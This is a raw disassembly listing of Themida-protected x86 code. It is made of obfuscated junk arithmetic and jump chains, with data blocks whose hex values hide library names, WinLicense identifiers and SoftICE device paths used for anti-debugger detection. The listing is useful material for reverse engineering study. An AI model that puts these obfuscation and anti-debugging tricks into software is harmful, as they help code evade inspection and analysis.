; ---------------------------------------------------------------------------

loc_5652CB:				; CODE XREF: Themida_:0056231Dj
		mov	eax, esi
		pop	esi
		add	esi, 67470F20h
		add	esi, 0BFF7C39h
		sub	esi, eax
		jmp	loc_5573F6
; ---------------------------------------------------------------------------
		db 0B8h, 44h, 6Fh
		dd 0C689149Bh, 8124048Bh, 4C4h,	9B71E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5652F6:				; CODE XREF: Themida_:00550963j
		add	esp, 4
		add	eax, edi
		sub	eax, 40A87596h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 34F3E951h, 8852FFFFh, 0FFD488EAh, 84E92434h,	68FFFF93h
		dd 4, 8124348Bh, 4C4h, 96E98100h, 1549417h, 96C181F1h
		dd 8B549417h, 92E92434h, 57FFFF53h, 3978BE56h, 0F7892659h
		dd 53EF815Eh, 81296D3Ch, 18E0F7EFh, 0E9FA29CCh,	0FFFEDD61h
		dd 84B95156h, 8131DA79h, 99158FE9h, 59CE890Ah, 0FFA19CE9h
		dd 4EC83FFh, 0FED60DE9h, 67C5BDFFh, 0FCE9096Dh,	81FFFF62h
		dd 0C1791DF2h, 0C1F28131h, 89B198EAh, 0D8895AD3h, 23D1355Bh
		dd 0C6014A3Eh, 4C68158h, 87000000h, 0FF5C2434h,	34FF2434h
		dd 0C4835824h, 0E3895304h, 4685552h, 0E90EF560h, 0FFFF169Bh
		dd 0E92434FFh, 0FFFFAF58h
; ---------------------------------------------------------------------------

loc_5653C8:				; CODE XREF: Themida_:00557794j
		sub	ebp, ecx
		pop	ecx
		sub	edx, ebp
		pop	ebp
		push	edi
		mov	edi, 1BE715E4h
		and	edi, 69176EFCh
		shr	edi, 8
		shl	edi, 2
		sub	edi, 0A9F4BBAAh
		jmp	loc_553910
; ---------------------------------------------------------------------------
		db 29h
		dd 0D4EB81F3h, 0E93FE525h, 0FFFFE490h
; ---------------------------------------------------------------------------

loc_5653F8:				; CODE XREF: Themida_:0055214Aj
		mov	[esp], ebp
		push	eax
		push	2B6942E3h
		pop	eax
		add	eax, 0D496BD21h
		mov	ebp, eax
		pop	eax
		jmp	loc_562B87
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 4EC8300h, 83240C89h, 1C8904ECh, 32C6BB24h, 0E9516722h
		dd 0FFFF4097h
		db 8Bh,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55DE09
; ---------------------------------------------------------------------------
byte_565437	db 8Bh			; DATA XREF: Themida_:0054FE94o
		dd 5356240Ch, 39E9E389h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565443:				; CODE XREF: Themida_:0055BADEj
		push	eax
		mov	eax, 4
		add	ebx, 63955E92h
		add	ebx, 0F383B2Eh
		add	ebx, eax
		sub	ebx, 0F383B2Eh
		sub	ebx, 63955E92h
		pop	eax
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	21D1h
		jmp	loc_553758
; ---------------------------------------------------------------------------

loc_565478:				; CODE XREF: Themida_:0055A658j
		mov	[esp], eax
		jmp	loc_56344F
; ---------------------------------------------------------------------------

loc_565480:				; CODE XREF: Themida_:00555A53j
		sub	ecx, 629DA49Bh
		sub	eax, ecx
		pop	ecx
		jmp	loc_550097
; ---------------------------------------------------------------------------

loc_56548E:				; CODE XREF: Themida_:00562F17j
		push	ebp
		mov	ebp, 72806045h
		mov	ecx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 3DFB0888h
		add	ecx, ebx
		pop	ebx
		push	eax
		push	4F81h
		mov	[esp], ebp
		mov	ebp, 3D29358Eh
		jmp	loc_5507E5
; ---------------------------------------------------------------------------
		db 30h
		dd 0CB305AF3h, 8BF32859h, 0C4812414h, 4, 0FE02E3C0h, 0B25251C3h
		dd 309DB1B8h, 24148BD1h, 4C481h, 0CB300000h, 81240C8Bh
		dd 4C4h, 0BAEB8000h, 0FEEB7AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5654ED:				; CODE XREF: Themida_:00556BD1j
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_553E26
; ---------------------------------------------------------------------------
		dd 0E958C189h, 0FFFFEF61h
; ---------------------------------------------------------------------------

loc_565500:				; CODE XREF: Themida_:0056558Bj
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55CFC5
; ---------------------------------------------------------------------------
		db 4, 9Ch, 2Ch
		dd 3412E965h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565516:				; CODE XREF: Themida_:005646F4j
		pop	eax
		sub	ecx, ebp
		pop	ebp
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_555B73
; ---------------------------------------------------------------------------
		db 1
		dd 0BF9DE9F3h, 0EEC1FFFFh, 1EE8307h, 0F681EED1h, 1B204580h
		dd 40BEE81h, 0F001C9DFh, 0FEADF2E9h, 0A6E95AFFh
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56555B:				; CODE XREF: Themida_:0055EEF5j
		pop	esp
		dec	ebp
		not	ebp
		xor	ebp, 3AF3699Dh
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 4
		sub	esi, edi
		pop	edi
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 93F3E805h
		xor	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_565500
; ---------------------------------------------------------------------------
		dd 5002E3C1h, 0FED5A3E9h, 51535AFFh, 0FFC96EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5655A1:				; CODE XREF: Themida_:00560DDBj
		pop	eax
		xor	eax, ebx
		pop	ebx
		xor	eax, 6FDE281Ch
		push	edi
		mov	edi, 35AE4BADh
		neg	edi
		xor	edi, 44232554h
		add	eax, edi
		pop	edi
		jmp	loc_5649DC
; ---------------------------------------------------------------------------

loc_5655C0:				; CODE XREF: Themida_:0055FB92j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55F6BB
; ---------------------------------------------------------------------------

loc_5655CD:				; CODE XREF: Themida_:0055149Dj
		push	esi
		mov	esi, 498256FEh
		not	esi
		sub	esi, 0A0FF35AEh
		or	ecx, esi
		jmp	loc_56468B
; ---------------------------------------------------------------------------
		dw 5866h
		dd 0C828DC2Ch, 80F0B151h, 48E953F1h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5655F3:				; CODE XREF: Themida_:00552B98j
		mov	[esp], edi
		push	edx
		push	19132CB8h
		pop	edx
		sub	edx, 19132CB4h
		mov	edi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	edx, 4A60377Ah
		add	edx, edi
		add	edx, 4A60377Ah
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		push	41542B96h
		jmp	loc_5646D7
; ---------------------------------------------------------------------------

loc_56562D:				; CODE XREF: Themida_:00560FEEj
		pop	edi
		add	edx, eax
		pop	eax
		push	edx
		pop	eax
		pop	edx
		sub	edi, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 327730B6h
		shr	esi, 1
		dec	esi
		not	esi
		inc	esi
		inc	esi
		push	ebp
		jmp	loc_556044
; ---------------------------------------------------------------------------

loc_565658:				; CODE XREF: Themida_:005650B3j
		push	eax
		jmp	loc_551AC3
; ---------------------------------------------------------------------------

loc_56565E:				; CODE XREF: Themida_:0055BA31j
		and	eax, ebp
		pop	ebp
		shr	eax, 0Ch
		xor	eax, ecx
		jmp	loc_558583
; ---------------------------------------------------------------------------
		db 83h
		dd 0B850FFEEh, 7EE33A42h, 0A3259505h, 0D4E94092h, 0D1FFFF2Dh
		dd 3D62E9E2h, 0BE2CFFFFh, 0DCDAE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56568E:				; CODE XREF: Themida_:005513E4j
		xchg	ecx, [esp]
		pop	esp
		not	ecx
		push	esi
		jmp	loc_559875
; ---------------------------------------------------------------------------
		dw 6E8h
		dd 57000000h, 0A36491CAh, 0C9B70F69h, 0CB8B665Fh, 617BC781h
		dd 18B30000h, 8BF9F633h, 93B33714h, 0D81BC281h,	0EE80C9Bh
		dd 83000000h, 0C0B7EA3h, 2F6391A3h, 634CD21Dh, 0B190B838h
		dd 815B30ADh, 0FEFC56C2h, 81DE8B5Bh, 1F982EAh, 0B70F6045h
		dd 0D0BF66F3h, 14896180h, 8138B137h, 0AF330AF1h, 0B1EE812Ah
		dd 8B0C6E86h, 0ADC681D8h, 0FC0C6E86h, 9F24FE81h, 850FFFFFh
		dd 16h,	25E9h, 0CDB06D00h, 0AA270F81h, 0A0417F9Eh, 0B28392BBh
		dd 0B70F39AEh, 0FF81E9C6h, 9B40FFFFh, 0DE0E43A6h, 0B88C6892h
		dd 36EB1C77h, 52455355h, 642E3233h, 41006C6Ch, 50415644h
		dd 2E323349h, 6C6C64h, 4C44544Eh, 6C642E4Ch, 7D7006Ch
		dd 40007h, 12001Ah, 0C0019h, 4A4503C7h,	52E94884h, 68000008h
		dd 6099BEEh, 0FDE154E9h, 9C7A68FFh, 4AE90609h, 68FFFDE1h
		dd 6099D9Dh, 0FDE140E9h, 9ECC68FFh, 36E90609h, 68FFFDE1h
		dd 6099F34h, 0FDE12CE9h, 0A02368FFh, 22E90609h,	68FFFDE1h
		dd 609A09Eh, 0FDE118E9h, 0F29A47FFh, 0F88648A6h, 0FF854EACh
		dd 3A955B3h, 0E9259B7h,	76B7D8C2h, 77D521AFh, 7BD925AFh
		dd 85E32FB5h, 77EA36C2h, 0FC0E2DFCh, 704FF005h,	0DDF5808Ch
		dd 3D0C87E1h, 0FC137D1Fh, 0AC7B3080h, 0C9E191ACh, 138EDAE4h
		dd 0F08E3A98h, 1F1EED3Dh, 4029D16Eh, 0F0BF3AF0h, 23CE9898h
		dd 0FBEA9DEDh, 5B2AA5C3h, 25C980A1h, 0E543BE0Eh, 0BD1B9622h
		dd 67B369F7h, 5BBA4609h, 0D4FA27BDh, 0D0489E51h, 0C9000006h
		dd 0D634801Ch, 0DC3A8614h, 0DF3D8913h, 0DF3D8933h, 56408C18h
		dd 0A72DF435h, 0AF35FD5Bh, 0B13F0563h, 0B8440765h, 0AF7EF96Ch
		dd 0F005FC8Ch, 0DB0EF2D1h, 5ED98C18h, 0FCAF3D00h, 0B707F6ACh
		dd 0CF6736B1h, 24FC1602h, 1BDE59D4h, 9C480594h,	6C932FF2h
		dd 0C04CB275h, 6E50AC3Fh, 0E3945AB8h, 5082114h,	9EEE3EF0h
		dd 72FEC523h, 10C35114h, 43BE0AC0h, 9281C580h, 0F4AAB414h
		dd 8F42D096h, 83E26E31h, 0AECDB59Fh, 44BE14C7h,	55000006h
		dd 5AB804A8h, 60BE0A98h, 63C10D97h, 6BC915B7h, 0EAD420A4h
		dd 3BC990C9h, 43C991EFh, 4DD399F7h, 54E0A301h, 4B1A9508h
		dd 0F005FBE8h, 0DBB29675h, 7BD98C18h, 0A2792CB8h, 965827FFh
		dd 0DE93C32Ah, 0B83C0563h, 0C6F4AE9h, 3FCD8FF6h, 12623C8Ch
		dd 65D95Ch, 0DBF50000h,	5C408C18h, 0C67C76Ah, 0BB490CF6h
		dd 951BE240h, 36D884E2h, 2DE33383h, 9CCCF2E1h, 63FBC321h
		dd 0F5F129Ah, 0BF8E09BFh, 0FC13D631h, 51FBA705h, 0BE984E9Eh
		dd 1A78F36Eh, 6AF2BB57h, 611767B7h, 3CB73D03h, 0DA9016DEh
		dd 696A308Eh, 930665F3h, 5407574Dh, 0DEDB16D9h,	0D02D0A7Ch
		dd 589C41Ah, 0DBE00000h, 0EAD98C18h, 0BB1994D4h, 3BB66CF8h
		dd 1399BC6Ch, 1EED68FCh, 0F00B561Fh, 603AF040h,	0EB49C410h
		dd 43C99224h, 3AF04090h, 3F8B19DCh, 7FFA6E50h, 55E3A604h
		dd 337BD09Fh, 0FDC0FA11h, 73429F27h, 0F602FEC0h, 0C98A4D9Dh
		dd 0E38FED76h, 106EE939h, 1270BC4Ah, 0B513C64Ch, 250766F2h
		dd 41B4C8BAh, 521388Eh,	0CB780000h, 0B577D521h,	0B47DDB27h
		dd 0DA86E430h, 0C38AE834h, 0E607F13Dh, 652DEA5h, 0A56E0A8h
		dd 1460E6ACh, 1965F3B6h, 0D95C2BA6h, 86F005FAh,	0FBBEC3A7h
		dd 0B1091536h, 43A157E2h, 0E341F480h, 10452120h, 0D15F1948h
		dd 54F7CE81h, 28A57EFAh, 0F898F60Ch, 93C36F37h,	0FFFEDF77h
		dd 18DB93FFh, 0D4EAD98Ch, 0CF9E1994h, 0F60C676Ch, 70EBA1F1h
		dd 1398F3A1h, 652D8BFCh, 22CE2CDFh, 2979C97Ch, 0C77D1FCBh
		dd 62519DEDh, 16910C5Ch, 0AC620CB8h, 14AA03DDh,	2AF974FAh
		dd 0F60C650Bh, 1B40454h, 0C650E32h, 0ED45E8F6h,	0C32CDC9Eh
		dd 18A1C93h, 0DEA10000h, 0BADF8A94h, 0A68A4082h, 0E1DDF580h
		dd 1F3D0C87h, 80FC137Dh, 0ACAC7B30h, 0E4C9E191h, 0B7D480DAh
		dd 0A899FDFEh, 80DE2ED3h, 2D7D30BEh, 410462DDh,	0B382FDB3h
		dd 23CE7355h, 54E0A301h, 0F3A634F6h, 0C313EDA3h, 6E379510h
		dd 7D4130E6h, 0EBA170EBh, 0A325C96Bh, 93F17F45h, 409043D1h
		dd 0E560B08Ah, 1D20EF6Ah, 4229D194h, 1BDE3CF2h,	20E3418Dh
		dd 4C013594h, 5205D4F9h, 3F2FCh, 52FAA700h, 58E6A806h
		dd 5FE5AE0Ch, 6309B513h, 6EF2B917h, 0D6173822h,	0D735810Fh
		dd 0DB39850Fh, 0E5438F15h, 0D74A9622h, 0F9AE8D5Ch, 0D0AFF005h
		dd 0F4744AECh, 288AA79h, 73D1FC16h, 5AD525C7h, 0A69564DFh
		dd 16F005FCh, 5FCF447h,	3F1969F0h, 15DB39EFh, 1FE5438Fh
		dd 0BD80DE91h, 0A470D02Fh, 7326AECDh, 38A1Dh, 0BA620F00h
		dd 0C04E106Eh, 0C74D1674h, 0CB711D7Bh, 0D65A217Fh, 3E7FA08Ah
		dd 3F9DE977h, 43A1ED77h, 4DABF77Dh, 3FB2FE8Ah, 0F846F5C4h
		dd 3817F005h, 7E18DB54h, 267629B7h, 2C523D6h, 49ECC376h
		dd 69DA73F1h, 19B9F60Ch, 93C33058h, 859642A0h, 5AFF7E34h
		dd 9D50A078h, 4514974Dh, 99FFFFFDh, 0D1EC4F1Eh,	8388F60Ch
		dd 31BCD4D6h, 6E24744Eh, 9960BE8Ah, 5208580Bh, 0F0A331F4h
		dd 0C8541775h, 0BB67C515h, 580E5E11h, 98135569h, 137547C9h
		dd 0E5B42FFCh, 0F00B6A56h, 2701B707h, 0C87B01C9h, 0F8DC2878h
		dd 0EE4CF080h, 0F5E49A28h, 55249FC9h, 0FC137D07h, 18934898h
		dd 0CB758855h, 2FE5BD23h, 24203760h, 31378798h,	1981E7B6h
		dd 0A6F65203h, 0AEBA04F3h, 1A86433h, 0B5055404h, 8B19DC3Ah
		dd 921EE13Fh, 0C6A61733h, 0E63CEF06h, 29Bh, 5FAB51FEh
		dd 65B13F01h, 6AB63E07h, 72BE600Ch, 7BC74D14h, 70377091h
		dd 723A98E4h, 7C42A0ECh, 894CAAF6h, 0C13CAFFBh,	5C743F2h
		dd 593D1CF0h, 79F4744Ah, 71573BFEh, 3C043BA6h, 0EC3CCAEBh
		dd 0A85EAE20h, 165CA3D9h, 41BC0CFCh, 1C971DE3h,	94FCF5BEh
		dd 541FE39Eh, 26CE91E1h, 6856717Ch, 4CAAF6ACh, 27850086h
		dd 6C1FD55Fh, 5EBD4B0Eh, 0AECDE9F6h, 208BE194h,	79000002h
		dd 86E430CCh, 8CEA36C4h, 8FED39C3h, 8FED39E3h, 6F03CC8h
		dd 57DDA4E5h, 5FE5AD0Bh, 61EFB513h, 68F4B715h, 5F2EA91Ch
		dd 0F005C7DCh, 4ABEA281h, 0AA79F474h, 0FC160372h, 2DBB7DDBh
		dd 0E9672A7Ah, 6F922C1Eh, 4FAD2878h, 7F5B8B86h,	1EB4D82Ah
		dd 3F9D18CEh, 9220E27Ch, 0F33F8FDFh, 38B3D304h,	3F955475h
		dd 0AB61A5A7h, 8A2C6130h, 3585F005h, 0D75D2482h, 5B228024h
		dd 21711BC7h, 33FC5AD5h, 0F0A6F6A9h, 0DBA2D601h, 0BB8A0555h
		dd 0F0058A80h, 0A026EE4Ch, 0DE79DEDh, 0CC8F0ABDh, 41563D29h
		dd 0DEA705FFh, 9D53A356h, 1CE27C3Fh, 4393E396h,	0CB8EEC90h
		dd 0D093F13Dh, 0F04EC944h, 6FCE9D27h, 0F0F005DFh, 0F646CC92h
		dd 0DF89AC7Bh, 86D6F005h, 9D641DD0h, 0D7E23CDFh, 2CB27A14h
		dd 0B71590DCh, 53B167F5h, 0B97BD990h, 5928782Bh, 0F005DFDAh
		dd 0FA390883h, 63F005DFh, 0A265C313h, 0B513C616h, 6CE762EEh
		dd 5DF9E9Dh, 7544BFF0h,	0F005DFC6h, 41F74797h, 1129CC8Eh
		dd 277301C4h, 37E02C9h,	0B3256440h, 0D2887782h,	0E19F661Fh
		dd 12D9E43Eh, 0C8A5B51Bh, 23730DB7h, 2EB279D7h,	0C9571D7Bh
		dd 65EFB816h, 0F69254B2h, 0A154A44Ah, 0E5E23CDFh, 4994AE51h
		dd 54B2FE82h, 0A12FF591h, 0AACF9E51h, 75A876E5h, 0AA6D78D2h
		dd 2A1124F3h, 0FE4E4876h, 410462AEh, 17DA38B3h,	0C220D389h
		dd 4AC275FBh, 0AA258FA7h, 762A58DBh, 0FFB50548h, 0D752DEA1h
		dd 2AAE8D5Ch, 5FAF4876h, 3CFF5DA9h, 0B00EFDB0h,	1CDF3DB8h
		dd 128DDD90h, 762AF043h, 671D6D48h, 2EAE71ECh, 0B9D7594Fh
		dd 9418E79Dh, 0E942698Ah, 605E4D99h, 96BE8D08h,	0F7446BE1h
		dd 0D396F4A7h, 0D89BF945h, 4BCA994Ch, 36FAEE28h, 6B2EBB93h
		dd 703391DDh, 0CF8210D6h, 6E21AF71h, 0B30BCE1Eh, 325AE262h
		dd 920DC010h, 2BE16B34h, 0C87B21CDh, 691CA26Ah,	0CBF450Bh
		dd 9A59F194h, 0FECB6306h, 361AD3Bh, 0AB01B440h,	3, 0DB694DC7h
		dd 7DDB8E2Eh, 1D7B2EBAh, 0B816C957h, 55B366F0h,	0F14F028Eh
		dd 95F3A62Ah, 329043E9h, 0D230E369h, 7ECF8210h,	81E18951h
		dd 4C1h, 4E98300h, 8B240C87h, 89562424h, 4C681E6h, 83000000h
		dd 348704EEh, 1C895C24h, 0E2895224h, 4C281h, 0EA810000h
		dd 4, 5C241487h, 50240C89h, 99B6CB8h, 585B5006h, 240C8B54h
		dd 4C481h, 55530000h, 9527DBDh,	246C2965h, 418F5D04h, 8418108h
		dd 6509527Dh, 56240C8Bh, 0C681E689h, 4,	4C681h,	34870000h
		dd 34FF5C24h, 0C4815B24h, 4, 0FDD918E9h, 3E3D4FFFh, 0F630B205h
		dd 0CEB098BBh, 0A2E3B89Bh, 0C5030609h, 0FC62E0FFh, 0A6B974E6h
		dd 7C32C05h, 9A382B12h,	0E3022A28h, 956A2C00h, 44735F0Eh
		dd 0B2002E26h, 71E92599h, 60000000h, 1495BD83h,	0F000607h
		dd 584h, 5CE900h, 6A0000h, 0F303E80h, 885h, 46006A00h
		dd 35E9h, 333E8000h, 8850Fh, 106A0000h,	24E946h, 3E800000h
		dd 8850F34h, 6A000000h,	13E94630h, 80000000h, 850F353Eh
		dd 8, 0E946406Ah, 2, 858D006Ah,	607277Dh, 96905090h, 6A9650h
		dd 120195FFh, 0C3610607h, 152585C6h, 684D0607h,	396C720Fh
		dd 99240481h, 0FF6AC904h, 73199B5h, 8D858D06h, 0FF060738h
		dd 18589D0h, 0E8060712h, 11h, 4FBD1CFEh, 1D11B79Bh, 33FBD894h
		dd 3BE15A6Ah, 0F2B70FFCh, 5840F58h, 66000000h, 6692EE81h
		dd 6F4DC081h, 12E80000h, 81000000h, 28EBD95Fh, 64BF174h
		dd 5CB57CB1h, 0E3E7E8CAh, 199589DBh, 5B060704h,	0F869DBBFh
		dd 0BFC78123h, 8BDC07B1h, 4ECD8010h, 0F5D7EA81h, 0DEBB12EAh
		dd 8177A4DEh, 0EC49AC2h, 11E923h, 0FCA10000h, 7344B574h
		dd 0EBF52D3Ah, 0A5486D64h, 8118725Ah, 0B923E4C2h, 68B0F37h
		dd 89000000h, 71FA195h,	0CB8B5206h, 8166008Fh, 81498CF1h
		dd 0FA1A31E8h, 518D8966h, 8106072Eh, 0FA1A2DC0h, 45B58B66h
		dd 81060716h, 1EFh, 18850F00h, 0F000000h, 68Eh,	0C5958900h
		dd 0E9060726h, 1Dh, 3959DFA3h, 0B591E91Fh, 0FF75E999h
		dd 0FA11FFFFh, 8D6D5379h, 3EF9ACC3h, 93F6D829h,	0AAE999h
		dd 6F530000h, 61777466h, 575C6572h, 694C6E69h, 736E6563h
		dd 68430065h, 496B6365h, 7058004Eh, 45746F72h, 746978h
		dd 63656843h, 54554F6Bh, 6E695700h, 6563694Ch, 5665736Eh
		dd 69737265h, 57006E6Fh, 694C6E69h, 736E6563h, 69724465h
		dd 56726576h, 69737265h, 57006E6Fh, 694C6E69h, 736E6563h
		dd 736E4965h, 636E6174h, 78450065h, 6B4F7469h, 6F725000h
		dd 4E4963h, 636F7250h, 54554Fh,	74697845h, 45004E49h, 4F746978h
		dd 54005455h, 4E4970h, 3 dup(0)
		dd 77DDAF7Fh, 77DD72F0h, 596E9h, 0CB858900h, 8D0609A5h
		dd 9A5C785h, 858D5006h,	609A531h, 16850h, 95FF8000h, 609A5D7h
		dd 0B5FF196Ah, 609A5CBh, 6A016Ah, 0A560858Dh, 0FF500609h
		dd 9A5C7B5h, 0E995FF06h, 0FF06072Eh, 9A5C7B5h, 0D395FF06h
		dd 0FF0609A5h, 9A5C7B5h, 0C995FF06h, 0C3060723h, 0A5CB8589h
		dd 858D0609h, 609A5C7h,	31858D50h, 500609A5h, 168h, 0D795FF80h
		dd 6A0609A5h, 0CB858D04h, 500609A5h, 6A046Ah, 0A58A858Dh
		dd 0FF500609h, 9A5C7B5h, 0E995FF06h, 0FF06072Eh, 9A5C7B5h
		dd 0D395FF06h, 0FF0609A5h, 9A5C7B5h, 0C995FF06h, 0C3060723h
		dd 0A5CB8589h, 858D0609h, 609A5C7h, 31858D50h, 500609A5h
		dd 168h, 0D795FF80h, 6A0609A5h,	0CB858D04h, 500609A5h
		dd 6A046Ah, 0A572858Dh,	0FF500609h, 9A5C7B5h, 0E995FF06h
		dd 0FF06072Eh, 9A5C7B5h, 0D395FF06h, 0FF0609A5h, 9A5C7B5h
		dd 0C995FF06h, 0C3060723h, 0A5CB8589h, 858D0609h, 609A5C7h
		dd 31858D50h, 500609A5h, 168h, 0D795FF80h, 6A0609A5h, 0CB858D04h
		dd 500609A5h, 6A046Ah, 0A59D858Dh, 0FF500609h, 9A5C7B5h
		dd 0E995FF06h, 0FF06072Eh, 9A5C7B5h, 0D395FF06h, 0FF0609A5h
		dd 9A5C7B5h, 0C995FF06h, 0C3060723h, 0A5CB8589h, 858D0609h
		dd 609A5C7h, 31858D50h,	500609A5h, 168h, 0D795FF80h, 6A0609A5h
		dd 0CB858D04h, 500609A5h, 6A046Ah, 0A54D858Dh, 0FF500609h
		dd 9A5C7B5h, 0E995FF06h, 0FF06072Eh, 9A5C7B5h, 0D395FF06h
		dd 0FF0609A5h, 9A5C7B5h, 0C995FF06h, 0C3060723h, 2F11BD83h
		dd 0F000607h, 0B84h, 119D8B00h,	8306072Fh, 3894CC3h, 11BD83C3h
		dd 6072Fh, 0B840Fh, 9D8B0000h, 6072F11h, 8950C383h, 0BD83C303h
		dd 6072F11h, 0B840F00h,	8B000000h, 72F119Dh, 54C38306h
		dd 83C30389h, 72F11BDh,	840F0006h, 0Bh,	2F119D8Bh, 0C3830607h
		dd 0C3038958h, 2F11BD83h, 0F000607h, 0B84h, 119D8B00h
		dd 8306072Fh, 3895CC3h,	8960C3C3h, 9A5CB85h, 0C7858D06h
		dd 500609A5h, 0A531858Dh, 68500609h, 80000001h,	0A5D795FFh
		dd 46A0609h, 0A5CB858Dh, 6A500609h, 8D006A04h, 9A5C285h
		dd 0B5FF5006h, 609A5C7h, 2EE995FFh, 0BD830607h,	6070211h
		dd 0C840F00h, 0FF000000h, 9A5C7B5h, 0D395FF06h,	0FF0609A5h
		dd 9A5C7B5h, 0C995FF06h, 61060723h, 858960C3h, 609A5CBh
		dd 0A5C7858Dh, 8D500609h, 9A53185h, 1685006h, 0FF800000h
		dd 9A5D795h, 8D046A06h,	9A5CB85h, 46A5006h, 858D006Ah
		dd 609A5A4h, 0C7B5FF50h, 0FF0609A5h, 72EE995h, 11BD8306h
		dd 60702h, 0C840Fh, 0B5FF0000h,	609A5C7h, 0A5D395FFh, 0B5FF0609h
		dd 609A5C7h, 23C995FFh,	0C3610607h, 0CB858960h,	8D0609A5h
		dd 9A5C785h, 858D5006h,	609A531h, 16850h, 95FF8000h, 609A5D7h
		dd 858D046Ah, 609A5CBh,	6A046A50h, 0AB858D00h, 500609A5h
		dd 0A5C7B5FFh, 95FF0609h, 6072EE9h, 211BD83h, 0F000607h
		dd 0C84h, 0C7B5FF00h, 0FF0609A5h, 9A5D395h, 0C7B5FF06h
		dd 0FF0609A5h, 723C995h, 60C36106h, 0A5CB8589h,	858D0609h
		dd 609A5C7h, 31858D50h,	500609A5h, 168h, 0D795FF80h, 6A0609A5h
		dd 0CB858D04h, 500609A5h, 6A046Ah, 0A5B3858Dh, 0FF500609h
		dd 9A5C7B5h, 0E995FF06h, 8306072Eh, 70211BDh, 840F0006h
		dd 0Ch,	0A5C7B5FFh, 95FF0609h, 609A5D3h, 0A5C7B5FFh, 95FF0609h
		dd 60723C9h, 8960C361h,	9A5CB85h, 0C7858D06h, 500609A5h
		dd 0A531858Dh, 68500609h, 80000001h, 0A5D795FFh, 46A0609h
		dd 0A5CB858Dh, 6A500609h, 8D006A04h, 9A5BA85h, 0B5FF5006h
		dd 609A5C7h, 2EE995FFh,	0BD830607h, 6070211h, 0C840F00h
		dd 0FF000000h, 9A5C7B5h, 0D395FF06h, 0FF0609A5h, 9A5C7B5h
		dd 0C995FF06h, 61060723h, 85C760C3h, 609A5CBh, 1, 0A5C7858Dh
		dd 8D500609h, 9A53185h,	2685006h, 0FF800000h, 9A5D795h
		dd 0FC00B06h, 0F84h, 0CB85C700h, 609A5h, 0E9000000h, 4Dh
		dd 858D046Ah, 609A5CBh,	6A046A50h, 45858D00h, 500609A5h
		dd 0A5C7B5FFh, 95FF0609h, 6072EE9h, 840FC00Bh, 0Fh, 0A5CB85C7h
		dd 609h, 0AE90000h, 0C7000000h,	9A5CB85h, 106h,	0C7B5FF00h
		dd 0FF0609A5h, 723C995h, 858B6106h, 609A5CBh, 858960C3h
		dd 609A5CBh, 0A5C7858Dh, 8D500609h, 9A53185h, 1685006h
		dd 0FF800000h, 9A5D795h, 8D046A06h, 9A5CB85h, 46A5006h
		dd 858D006Ah, 609A545h,	0C7B5FF50h, 0FF0609A5h,	72EE995h
		dd 11BD8306h, 60702h, 0C840Fh, 0B5FF0000h, 609A5C7h, 0A5D395FFh
		dd 0B5FF0609h, 609A5C7h, 23C995FFh, 0C3610607h,	0CB858960h
		dd 8D0609A5h, 9A5C785h,	858D5006h, 609A531h, 16850h, 95FF8000h
		dd 609A5D7h, 858D046Ah,	609A5CBh, 6A046A50h, 57858D00h
		dd 500609A5h, 0A5C7B5FFh, 95FF0609h, 6072EE9h, 211BD83h
		dd 0F000607h, 0C84h, 0C7B5FF00h, 0FF0609A5h, 9A5D395h
		dd 0C7B5FF06h, 0FF0609A5h, 723C995h, 0C6C36106h, 7152585h
		dd 7685206h, 0FFADE47Bh, 730A5B5h, 995FF06h, 89060720h
		dd 9A5D785h, 2585C606h,	52060715h, 2E00E568h, 0A5B5FF90h
		dd 0FF060730h, 7200995h, 0D3858906h, 0C60609A5h, 7152585h
		dd 35685206h, 0FFB9BF12h, 730A5B5h, 995FF06h, 89060720h
		dd 72EE985h, 2585C606h,	52060715h, 78103468h, 0A5B5FF98h
		dd 0FF060730h, 7200995h, 0C9858906h, 0C6060723h, 7152585h
		dd 0D4685206h, 0FFC005DBh, 730A5B5h, 995FF06h, 89060720h
		dd 704DD85h, 5C1EEB06h,	535C2E5Ch, 454349h, 5C2E5C5Ch
		dd 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h, 81C08B00h
		dd 50E833E6h, 11BD8368h, 60702h, 0BD830975h, 6070D65h
		dd 50197400h, 0B8C08B53h, 40Fh,	302D8589h, 9D8D0607h, 609AAA8h
		dd 585BD3FFh, 0D65BD83h, 74000607h, 0B8535017h,	40Fh, 302D8589h
		dd 9D8D0607h, 609A797h,	585BD3FFh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 7EC35646h, 77EB7E83h, 12E8F9h
		dd 0A2AE0000h, 9CC33D52h, 3B500863h, 2A0F23Dh, 0B2E211C2h
		dd 8959AFB6h, 70D6D95h,	6AC08B06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 7672C351h
		dd 0E4D67487h, 0B6BB9398h, 2585C674h, 43060715h, 6827C980h
